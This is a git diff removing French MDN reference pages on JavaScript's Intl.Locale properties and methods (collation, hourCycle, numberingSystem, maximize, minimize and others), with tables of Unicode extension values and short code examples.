Le constructeur Intl.Locale prend comme premier argument une chaîne de caractères qui décrit la locale. On peut allonger cette chaîne avec certaines valeurs afin de l'affiner.

- -

Dans la spécification Unicode sur les clés des extensions, caseFirst correspond à la clé kf. kf. Il est possible d'ajouter des extensions à la chaîne identifiant la locale en la concaténant à -u puis en concaténant la clé de l'extension qu'on souhaite préciser (ici -kf) puis en ajoutant enfin la valeur pour cette extension (ici upper) :

- -
let caseFirstStr = new Intl.Locale("fr-Latn-FR-u-kf-upper");
-console.log(caseFirstStr.caseFirst); // Prints "upper"
- -

Définir caseFirst via l'objet de configuration

- -

Le constructeur Intl.Locale permet d'utiliser un objet de configuration comme deuxième argument. Les propriétés de cet objet seront autant d'extensions Unicode à utiliser pour la locale. Ici, on peut utiliser un objet avec la propriété caseFirst pour indiquer l'impact de la casse sur la collation de cette locale :

- -
let caseFirstObj= new Intl.Locale("en-Latn-US", {caseFirst: "lower"});
-console.log(us12hour.caseFirst); // affichera "lower" dans la console.
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.LocaleProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -
{{Compat("javascript.builtins.Intl.Locale.caseFirst")}}
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/collation/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/collation/index.html deleted file mode 100644 index 46482bcd73..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/locale/collation/index.html +++ /dev/null @@ -1,167 +0,0 @@ ---- -title: Intl.Locale.prototype.collation -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/collation -tags: - - Internationalisation - - Intl - - JavaScript - - Locale - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/collation ---- -
{{JSRef}}
- -

La propriété Intl.Locale.prototype.collation est une propriété (à laquelle on accède via un accesseur) qui renvoie le type de collation pour l'instance de Locale courante. La collation est la méthode qui permet d'ordonner des chaînes de caractères en fonction des règles de la locale.

- -

Description

- -

La collation est la façon dont les chaînes de caractères sont ordonnées. Elle est utilisée lorsqu'on doit trier des chaînes de caractères (des résultats de recherche, des enregistrements dans une base de donnée, etc.). Bien que cela puisse sembler trivial, la collation varie d'une région à l'autre et d'une langue à une autre. Cette propriété permet aux développeurs de connaître le type de collation pour une locale donnée.

- -

Voici un tableau listant les types de collation possibles tels que définis dans la spécification Unicode sur la collation.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Les différents types de collation
Type de collationDescription
big5hanOrdre pinyin pour l'alphabet latin et ordre big5 pour les caractères CJK (utilisés en chinois)
compatUne version précédente de l'ordre, utilisée à des fins de compatibilité
dictOrdre à la façon d'un dictionnaire (comme utilisé en cingalais)
-
-

Le type direct a été déprécié et ne doit pas être utilisé.

-
- -

direct

- 		Ordre des points de code binaires (utilisé en hindoux)
ducetLa collation Unicode par défaut pour les éléments d'un tableau
emojiL'ordre recommandé pour les émojis
eorRègles d'ordre européennes
gb2312Ordre pinyin pour l'alphabet latin et ordre gb2312han pour les caractères CJK (utilisés en chinois)
phonebkOrdre à la façon d'un annuaire (tel qu'en allemand)
phoneticOrdre phonétique, basé sur la prononciation
pinyinOrdre pinyin pour les caractères de l'alphabet latin et les caractères CJK (utilisés en chniois)
reformedOrdre réformé (tel qu'en suédois)
searchCollation spéciale pour les chaînes de caractères utilisées pour des recherches
searchjlCollation spéciale pour la recherche des consonnes initiales en coréen
standardL'ordre par défaut pour chaque langue
strokeOrdre pinyin pour l'alphabet latin et ordre de dessin (stroke) pour les caractères CJK (utilisés en chinois)
tradOrdre traditionnel (tel qu'en espagnol)
unihanOrdre pinyin pour l'alphabet latin et ordre Unihan radical pour les caractères CJK (utilisés en chinois)
zhuyin -

Ordre pinyin pour l'alphabet latin, ordre zhuyin pour les caractères Bopomofo et CJK (utilisés en chinois)

-
- -

Exemples

- -

À l'instar des autres étiquettes, le type de collation peut être défini pour l'objet {{jsxref("Locale", "Intl.Locale")}} via la chaîne de caractères qui définit la locale ou grâce au deuxième paramètre du constructeur qui est un objet de configuration.

- -

Définir le type de collation via la chaîne décrivant la locale

- -

Le premier argument passé à Intl.Locale est une chaîne de caractères qui décrit la locale. Cette chaîne peut contenir des fragments additionnels (en plus de l'identifiant canonique de la locale). Pour cela, on ajoutera -u afin d'indiquer qu'on définit une extension. On ajoutera ensuite la clé identifiant cette extension, ici -co pour la collation. Enfin, on ajoutera la valeur souhaitée pour cette extension (dans cet exemple, -emoji) :

- -
let stringColl = new Intl.Locale("en-Latn-US-u-co-emoji");
-console.log(stringColl.collation); // Affichera "emoji" dans la console
-
- -

Définir le type de collation via l'objet de configuration

- -

Le constructeur Intl.Locale possède un deuxième argument optionnel qui est un objet de configuration. Chaque propriété de cet objet pourra permettre de préciser une extension à la locale, y compris un type de collation. Pour définir le type de collation, on pourra utiliser une propriété collation sur cet objet avec une des valeurs indiquées ci-avant :

- -
let configColl = new Intl.Locale("en-Latn-US", {collation: "emoji"});
-console.log(configColl.collation); // Affichera "emoji" dans la console
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototype.collationProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.Locale.collation")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Locale", "Intl.Locale")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/hourcycle/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/hourcycle/index.html deleted file mode 100644 index f88b4c5441..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/locale/hourcycle/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Intl.Locale.prototype.hourCycle -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/hourCycle -tags: - - Internationalisation - - Intl - - JavaScript - - Locale - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/hourCycle ---- -
{{JSRef}}
- -

La propriété Intl.Locale.prototype.hourCycle est une propriété accessible via un accesseur qui renvoie la convention pour le format des heures utilisée par la locale courante.

- -

Description

- -

Il existe deux types de conventions pour la représentation des heures : sur douze heures d'une part et sur vingt-quatre heures d'autre part. La propriété hourCycle permet aux développeurs de connaître la représentation utilisée par une locale donnée. À l'instar des autres données fournies par les instances de Locale, hourCycle représente une extension Unicode qui permet d'affiner le comportement d'une locale. Les valeurs de cette propriété/extension peuvent être :

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Valeurs possibles pour l'extension hourCycle
CléDescription
h12Système horaire sur les heures 1 à 12 (correspond à la notation "h" pour les motifs de recherche). L'horloge est sur douze heures et minuit commence à 12:00 AM.
h23Système horaire sur les heures 0 à 23 (correspond à la notation "H" pour les motifs de recherche). L'horloge est sur vingt-quatre heures et minuit commence à 0:00.
h11Système horaire sur les heures 0 à 11 (correspond à la notation "K" pour les motifs de recherche). L'horloge est sur douze heures et minuit commence à 0:00 AM.
h24Système horaire sur les heures 1 à 24 (correspond à la notation "K" pour les motifs de recherche). L'horloge est sur vingt-quatre heures et minuit commence à 24:00.
- -

Exemples

- -

Définir le format horaire grâce à la chaîne décrivant la locale

- -

Il est possible de préciser la valeur d'une extension Unicode dans la chaîne de caractères représentant la locale. Pour indiquer l'extension, on ajoutera le suffixe -u qui indique une clé d'extension à venir, ensuite on ajoutera la clé de l'extension en question (ici -hc) et enfin on ajoutera la valeur souhaitée pour cette extension.

- -
let fr24hour = new Intl.Locale("fr-FR-u-hc-h23");
-console.log(fr24hour.hourCycle); // Affichera "h23" dans la console
- -

Définir le format horaire grâce à un objet de configuration

- -

Le constructeur Intl.Locale permet d'utiliser un objet de configuration comme deuxième argument. Les propriétés de cet objet permettent de définir différentes extensions, y compris celle pour le format horaire. Pour cela, on indiquera la propriété hourCycle sur l'objet de configuration avec la valeur souhaitée et on passera cet objet au constructeur.

- -
let us12hour = new Intl.Locale("en-US-u-hc-h12");
-console.log(us12hour.hourCycle); // Affichera "h12" dans la console
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.LocaleProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -
{{Compat("javascript.builtins.Intl.Locale.hourCycle")}}
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/index.html deleted file mode 100644 index f5e22804fa..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/locale/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Intl.Locale -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale -tags: - - Constructeur - - Intl - - JavaScript - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale ---- -
{{JSRef}}{{SeeCompatTable}}
- -

Le constructeur Intl.Locale est une propriété native de l'objet Intl représentant l'identifiant d'une locale Unicode.

- -

{{EmbedInteractiveExample("pages/js/intl-locale.html")}}

- - - -

Syntaxe

- -
new Intl.Locale([tag[, options]])
- -

Paramètres

- -
-
tag
-
La chaîne de caractère représentant l'identifiant d'une locale Unicode.
-
options
-
Un objet contenant la configuration pour la locale. Les clés (noms des propriétés) de cet objets sont des balises Unicode et les valeurs de ces propriétés doivent être des valeurs de balises Unicode valides.
-
- -

Description

- -

L'objet Intl.locale a été conçu afin de manipuler des locales Unicode. Les locales Unicode sont représentées par une chaîne de caractères qu'on appelle « identifiant de locale ». L'identifant de locale se compose d'un identifiant de langue et d'extensions. Les identifiants de langue sont la composante principale d'une locale et contiennent une langue, un système d'écriture et des extensions régionales. Les informations complémentaires sont stockées via les extensions. Ces extensions peuvent fournir des informations quant au type de calendrier utilisé, le format d'heure utilisé ou la numération utilisée.

- -

L'objet Intl.Locale possède les propriétés et méthodes suivantes.

- -

Propriétés

- -
-
{{jsxref("Locale.prototype","Intl.Locale.prototype")}}
-
Le prototype pour le constructeur Locale.
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.LocaleProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.Locale")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/language/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/language/index.html deleted file mode 100644 index 1a3f95566d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/locale/language/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Intl.Locale.prototype.language -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/language -tags: - - Internationalisation - - Intl - - JavaScript - - Locale - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/language ---- -
{{JSRef}}
- -

La propriété Intl.Locale.prototype.language est une propriété fournie via un accesseur qui renvoie la langue associée à la locale.

- -

Description

- -

La langue est l'une des caractéristiques majeurs d'une locale. La spécification Unicode indique que l'identifiant de la langue d'une locale est composée de l'identifiant canonique de la langue et de l'identifiant de la réponse (on pourra ainsi distinguer l'anglais britannique de l'anglais américain). Toutefois, la propriété language de {{jsxref("Locale", "Locale")}} renvoie uniquement la composante relative à la langue.

- -

Exemples

- -

Indiquer la langue via la chaîne décrivant la locale

- -

Afin de pouvoir représenter une locale Unicode correctement, une chaîne doit commencer par un identifiant de langue. Le principal argument du constructeur {{jsxref("Locale", "Locale")}} doit être un identifiant valide et doit donc contenir la composante liée à la langue.

- -
let langStr = new Intl.Locale("en-Latn-US");
-
-console.log(langStr.language); // Affichera "en" dans la console
- -

Surcharger la langue via l'objet de configuration

- -

Bien que la composante de la langue doive être indiquée dans le premier paramètre, le constructeur {{jsxref("Locale", "Locale")}} prend comme deuxième argument un objet de configuration qui permet de surcharger cette composante.

- -
let langObj = new Intl.Locale("en-Latn-US", {language: "es"});
-
-console.log(langObj.language); // Affichera "es" dans la console
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototype.languageProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -
{{Compat("javascript.builtins.Intl.Locale.language")}}
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/maximize/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/maximize/index.html deleted file mode 100644 index 678db44d6e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/locale/maximize/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Intl.Locale.prototype.maximize() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/maximize -tags: - - Internationalisation - - Intl - - JavaScript - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/maximize ---- -
{{JSRef}}
- -

La méthode Intl.Locale.prototype.maximize() permet d'obtenir les valeurs les plus vraisemblantes pour la langue, le script et la région de la locale en fonction des valeurs existantes.

- -

{{EmbedInteractiveExample("pages/js/intl-locale-prototype-maximize.html")}}

- - - -

Syntaxe

- -
locale.maximize()
- -

Valeur de retour

- -

Une instance {{jsxref("Locale", "Locale")}} dont la propriété baseName renvoie le résultat de l'algorithme de vraisemblance des composantes lancé sur {{jsxref("Locale/baseName", "locale.baseName")}}.

- -

Description

- -

Il est parfois utile d'identifier les composantes les plus probables d'une locale en fonction d'un identifiant incomplet. Cette méthode utilise un algorithme qui permet de déduire les composantes restantes les plus probables. Par exemple, si on fournit la langue "en", l'algorithme renverra "en-Latn-US", car l'anglais ne s'écrit qu'avec l'alphabet latin et est le plus largement parlé aux États-Unis. La méthode maximize() n'opère que sur les composantes principales (langue, script, région) et pas sur les extensions éventuellement indiquées après "-u" (dont Locale.hourCycle, Locale.calendar et Locale.numeric entre autres).

- -

Exemples

- -
let maLocale = new Intl.Locale("fr", {hourCycle: "h24", calendar: "gregory"});
-console.log(maLocale.baseName); // Affiche "fr"
-console.log(maLocale.toString()); // Affiche "fr-u-ca-gregory-hc-h24"
-let maLocMaximized = maLocale.maximize();
-
-// Affiche "fr-Latn-FR". Les composantes "Latn" et "FR" ont été ajoutées
-// car le français ne s'écrit qu'avec l'alphabet latin et est plus probablement parlé en France.
-console.log(maLocMaximized.baseName);
-
-// Affiche "fr-Latn-FR-u-ca-gregory-hc-h24".
-// On notera que les extensions (après "-u") restent inchangées.
-console.log(myLocMaximized.toString());
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototype.maximize()
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.Locale.maximize")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/minimize/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/minimize/index.html deleted file mode 100644 index 57549456bd..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/locale/minimize/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Intl.Locale.prototype.minimize() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/minimize -tags: - - Internationalisation - - Intl - - JavaScript - - Locale - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/minimize ---- -
{{JSRef}}
- -

La méthode Intl.Locale.prototype.minimize() tente de retirer les informations qui auraient pu être ajoutée à une locale lors d'un appel à {{jsxref("Locale/maximize", "Locale.maximize()")}}. 

- -

{{EmbedInteractiveExample("pages/js/intl-locale-prototype-minimize.html")}}

- - - -

Syntaxe

- -
locale.minimize()
- -

Valeur de retour

- -

Une instance {{jsxref("Locale", "Locale")}} dont la propriété baseName renvoie le résultat de l'exécution de l'algorithme de suppression des composantes probables sur locale.baseName. 

- -

Description

- -

Cette méthode effectue l'opération inverse de {{jsxref("Locale/maximize", "maximize()")}}, en retirant les fragments de langue/script ou de région qui sont superflus. Ainsi, "en-Latn" pourra être minimisé en "en" car l'anglais s'écrit uniquement à l'aide de l'alphabet latin.

- -

minimize() ne modifie pas les éventuelles extensions décrites dans la chaîne de locale (après le "-u") ou via l'objet de configuration (elle ne modifie donc pas les valeurs de {{jsxref("Locale/hourCycle", "Locale.hourCycle")}}, {{jsxref("Locale/calendar", "Locale.calendar")}} et {{jsxref("Locale/numeric", "Locale.numeric")}}).

- -

Exemples

- -
let maLocale = new Intl.Locale("fr-Latn-FR", {hourCycle: "h24", calendar: "gregory"});
-console.log(maLocale.baseName); // Affiche "fr-Latn-FR"
-console.log(maLocale.toString()); // Affiche "fr-Latn-FR-u-ca-gregory-hc-h24"
-let maLocMinimized = maLocale.minimize();
-
-console.log(maLocMinimized.baseName);
-// Affiche "fr" car le français est écrit uniquement avec l'alphabet latin et
-// parlé le plus largement en France
-
-console.log(maLocMinimized.toString());
-// Affiche "fr-u-ca-gregory-hc-h24". On voit ici que les extensions
-// (décrites après "-u") restent inchangées.
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototype.minimize()
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.Locale.minimize")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Locale", "Intl.Locale")}}
    • -
  • {{jsxref("Locale/baseName", "Intl.Locale.baseName")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/numberingsystem/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/numberingsystem/index.html deleted file mode 100644 index 076b671499..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/locale/numberingsystem/index.html +++ /dev/null @@ -1,425 +0,0 @@ ---- -title: Intl.Locale.prototype.numberingSystem -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/numberingSystem -tags: - - Internationalisation - - Intl - - JavaScript - - Locale - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/numberingSystem ---- -
{{JSRef}}
- -

La propriété Intl.Locale.prototype.numberingSystem est une propriété fournie par un accesseur qui renvoie le système de numération utilisée par la locale.

- -

Description

- -

Un système de numération est un système qui permet d'exprimer les nombres. La propriété numberingSystem permet de connaître le système de numérati Unicode. A table of the standard Unicode numeral systems can be seen belowon de la locale. Les valeurs qui peuvent être fournies par cette propriété sont standardisées par Unicode.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ValeurDescription
adlmChiffres adlams
ahomChiffres ahoms
arabChiffres arabes
arabextChiffres arabes étendus
armnNumération arménienne majuscule (algorithmique)
armnlowNumération arménienne minuscule (algorithmique)
baliChiffres balinais
bengChiffres bengalis
bhksChiffres bhaiksuki
brahChiffres brahmis
cakmChiffres chakmas
chamChiffres chams
cyrlNumération cyrillique (algorithmique)
devaChiffres devanagaris
ethiNumération éthiopienne (algorithmique)
financeNumération financière (peut être algorithmique)
fullwideChiffres à pleine chasse
georNumération géorgienne (algorithmique)
gongChiffres Gunjala Gondis
gonmChiffres Masaram Gondis
grekNumération greque majuscule (algorithmique)
greklowNumération greque minuscule (algorithmique)
gujrChiffres Gujaratis
guruChiffres Gurmukhis
hanidaysNumération du jour du mois avec caractère Han (utilisée avec les calendriers lunaires ou traditionnels)
hanidecSystème décimal positionnel utilisant les idéographes des nombres chinois comme chiffres
hansNumération chinoise simplifiée (algorithmique)
hansfinNumération chinoise simplifiée financière (algorithmique)
hantNumération chinoise traditionnelle (algorithmique)
hantfinNumération chinoise traditionnelle financière (algorithmique)
hebrNumération hébraïque (algorithmique)
hmngChiffres Pahawh Hmongs
hmnpChiffres Nyiakeng Puachue Hmongs
javaChiffres javanais
jpanNumération japonaise (algorithmique)
jpanfinNumération japonaise financière (algorithmique)
jpanyearNumération basée sur la première année Gannen du calendrier japonais
kaliChiffres Kayah Lis
khmrChiffres Khmers
kndaChiffres Kannadas
lanaChiffres Tai Tham Hora séculiers
lanathamChiffres Tai Tham Tham ecclésiastiques
laooChiffres laotien
latnChiffres latins
lepcChiffres Lepchas
limbChiffres Limbus
mathboldChiffres mathématiques en gras
mathdblChiffres mathématiques barrés en double
mathmonoChiffres mathématiques à chasse fixe
mathsanbChiffres mathématiques en gras sans empattements
mathsansChiffres mathématiques sans empattements
mlymChiffres Malayalams
modiChiffres Modis
mongChiffres mongols
mrooChiffres Mros
mteiChiffres Meetei Mayeks
mymrChiffres Myanmars
mymrshanChiffres Myanmar Shans
mymrtlngChiffres Myanmar Tai Laings
nativeChiffres natifs
newaChiffres Newas
nkooChiffres N'Kos
olckChiffres Ol Chikis
oryaChiffres Oriyas
osmaChiffres Osmanyas
rohgChiffres Hanifi Rohingyas
romanNumération romaine majuscule (algorithmique)
romanlowNumération romaine minuscule (algorithmique)
saurChiffres Saurashtras
shrdChiffres Sharadas
sindChiffres Khudawadis
sinhChiffres Sinhala Liths
soraChiffres Sora_Sompengs
sundChiffres soudanais
takrChiffres Takris
taluChiffres New Tai Lues
tamlNumération tamoule (algorithmique=
tamldecChiffres tamouls décimaux modernes
teluChiffres Telugus
thaiChiffres thaïs
tirhChiffres Tirhutas
tibtChiffres tibétains
traditioNumération traditionnelle (peut être algorithmique)
vaiiChiffres Vais
waraChiffres Warang Citis
wchoChiffres Wanchos
- -

Exemples

- -

Définir la valeur de numberingSystem grâce à la chaîne décrivant la locale

- -

D'après la spécification Unicode sur les chaînes décrivant les locales, l'extension décrivant le système de numération est indiquée par la clé nu.

- -

Le constructeur Intl.locale prend comme premier argument une chaîne de caractères décrivant la locale. Aussi, on peut indiquer le système de numération après les composantes principales de la chaîne de caractères en lui ajoutant un "-u" (indiquant la présence d'une extension), suivi d'un "-nu" (indiquant que l'extension qui sera indiquée décrit le système de numération, suivi de la valeur voulue pour le système de numération.

- -
let numberingSystemViaStr = new Intl.Locale("fr-Latn-FR-u-nu-mong");
-console.log(numberingSystemStr.numberingSystem);
-// affichera "mong" dans la console
- -

Définir la valeur de numberingSystem grâce à un objet de configuration

- -

Le constructeur Intl.Locale possède un deuxième argument, optionnel, qui est un objet permettant de configurer la locale. Les propriétés de cet objet sont utilisées comme extensions pour la locale ; les clés des propriétés sont les noms des extensions et leurs valeurs sont celles utilisées pour chaque extension. On peut donc utiliser la propriété numberingSystem sur cet objet afin de définir le système de numération à utiliser pour cette locale.

- -
let numberingSystemViaObj= new Intl.Locale("en-Latn-US", {numberingSystem: "latn"});
-console.log(us12hour.numberingSystem);
-// affichera "latn" dans la console
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.LocaleProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -
{{Compat("javascript.builtins.Intl.Locale.numberingSystem")}}
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/numeric/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/numeric/index.html deleted file mode 100644 index 5b3c357b09..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/locale/numeric/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Intl.Locale.prototype.numeric -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/numeric -tags: - - Internationalisation - - Intl - - JavaScript - - Locale - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/numeric ---- -
{{JSRef}}
- -

La propriété Intl.Locale.prototype.numeric est une propriété fournie par un accesseur et qui indique si la locale possède une collation spécifique pour les caractères numériques (la collation étant la méthode qui permet d'ordonner des chaînes de caractères entre elles).

- -

Description

- -

À l'instar de {{jsxref("Locale.caseFirst", "Intl.Locale.caseFirst")}}, numeric représente une modification des règles de collation utilisée par la locale. numeric est un booléen (true ou false). Lorsque cette propriété vaut false, il n'y a pas de gestion particulière des chiffres et si cette propriété vaut true, cela indique que les caractères numériques sont pris en compte lors de la collation des chaînes. Ainsi, les séquences de chiffres décimaux seront comparés comme des nombres. Ainsi, la chaîne de caractères "A-21" sera considérée inférieure à "A-123".

- -

Exemples

- -

Définir numeric grâce à la chaîne de description de la locale

- -

Selon la spécification Unicode sur les chaînes de caractères décrivant les locales, les valeurs de numeric sont associées à la clé kn. Pour utiliser cette clé dans la chaîne de description de la locale (le premier argument de Intl.Locale), après la chaîne de base, on pourra ajouter un suffixe avec "-u" afin d'indiquer la présence d'une extension, puis "-kn" afin de préciser l'extension en question et enfin la valeur souhaitée pour cette extension. Si on veut que numeric soit true, il suffit d'ajouter la clé kn. Pour indiquer la valeur false, il faudra explicitement ajouter "-false".

- -
let numericViaStr = new Intl.Locale("fr-Latn-FR-u-kn-false");
-console.log(numericStr.numeric);
-// Affichera "false" dans la console
- -

Définir numeric via l'objet de configuration de l'instance

- -

Le constructeur Intl.Locale possède un deuxième argument, optionnel, qui est un objet permettant de configurer la locale. Les propriétés de cet objet sont utilisées comme extensions pour la locale ; les clés des propriétés sont les noms des extensions et leurs valeurs sont celles utilisées pour chaque extension. On peut donc utiliser la propriété numeric sur cet objet afin de définir le système de numération à utiliser pour cette locale.

- -
let numericViaObj= new Intl.Locale("en-Latn-US", {numeric: true});
-console.log(us12hour.numeric);
-// Affichera "true" dans la console
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.LocaleProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -
{{Compat("javascript.builtins.Intl.Locale.numeric")}}
- -

Voir aussi

- -
    -
  • {{jsxref("Locale", "Intl.Locale")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/prototype/index.html deleted file mode 100644 index cc22f45a17..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/locale/prototype/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Intl.Locale.prototype -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/prototype -tags: - - Internationalisation - - Intl - - JavaScript - - Locale - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale -translation_of_original: Web/JavaScript/Reference/Global_Objects/Intl/Locale/prototype ---- -

{{JSRef}}

- -

La propriété Intl.Locale.prototype représente le prototype pour le constructeur {{jsxref("Locale", "Intl.Locale")}}.

- -

{{js_property_attributes(0, 0, 0)}}

- -

Description

- -

Voir la page {{jsxref("Locale")}} pour en savoir plus sur les instances Intl.Locale.

- -

Les instances de {{jsxref("Locale", "Intl.Locale")}} héritent de Intl.Locale.prototype. Les modifications apportées au prototype sont héritées par l'ensemble des instances {{jsxref("Locale", "Intl.Locale")}}.

- -

Propriétés

- -
-
{{jsxref("Locale/baseName", "Intl.Locale.prototype.baseName")}}
-
Renvoie un extrait de la chaîne de caractères représentant l'objet Locale. Cet extrait contient les informations essentielles à propos de l'objet Locale.
-
{{jsxref("Locale/calendar", "Intl.Locale.prototype.calendar")}}
-
Renvoie le type de calendrier utilisé par l'instance de Locale.
-
{{jsxref("Locale/collation", "Intl.Locale.prototype.collation")}}
-
Renvoie le type de collation pour l'instance de Locale courante. La collation est la méthode qui permet d'ordonner des chaînes de caractères en fonction des règles de la locale.
-
{{jsxref("Locale/hourCycle", "Intl.Locale.prototype.hourCycle")}}
-
Renvoie la convention pour le format des heures utilisée par la locale courante.
-
{{jsxref("Locale/caseFirst", "Intl.Locale.prototype.caseFirst")}}
-
Renvoie si la casse est prise en compte par la locale pour ses règles de collation (celles qui permettent d'ordonner des chaînes de caractères entre elles).
-
{{jsxref("Locale/numeric", "Intl.Locale.prototype.numeric")}}
-
Indique si la locale possède une collation spécifique pour les caractères numériques (la collation étant la méthode qui permet d'ordonner des chaînes de caractères entre elles).
-
{{jsxref("Locale/numberingSystem", "Intl.Locale.prototype.numberingSystem")}}
-
Renvoie le système de numération utilisée par la locale.
-
{{jsxref("Locale/language", "Intl.Locale.prototype.language")}}
-
Renvoie la langue associée à la locale.
-
{{jsxref("Locale/script", "Intl.Locale.prototype.script")}}
-
Renvoie le script utilisé pour l'écriture d'une langue donnée pour la locale courante.
-
{{jsxref("Locale/region", "Intl.Locale.prototype.region")}}
-
Renvoie la région du monde (il s'agit généralement d'un pays) associée à la locale courante.
-
- -

Méthodes

- -
-
{{jsxref("Locale/minimize", "Intl.Locale.prototype.minimize()")}}
-
Cette méthode tente de retirer les informations qui auraient pu être ajoutée à une locale lors d'un appel à {{jsxref("Locale/maximize", "Locale.maximize()")}}.
-
{{jsxref("Locale/maximize", "Intl.Locale.prototype.maximize()")}}
-
Cette méthode permet d'obtenir les valeurs les plus vraisemblantes pour la langue, le script et la région de la locale en fonction des valeurs existantes.
-
{{jsxref("Locale/toString", "Intl.Locale.prototype.toString()")}}
-
Cette méthode renvoie l'identifiant de locale complet pour la locale courante.
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototypeProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -

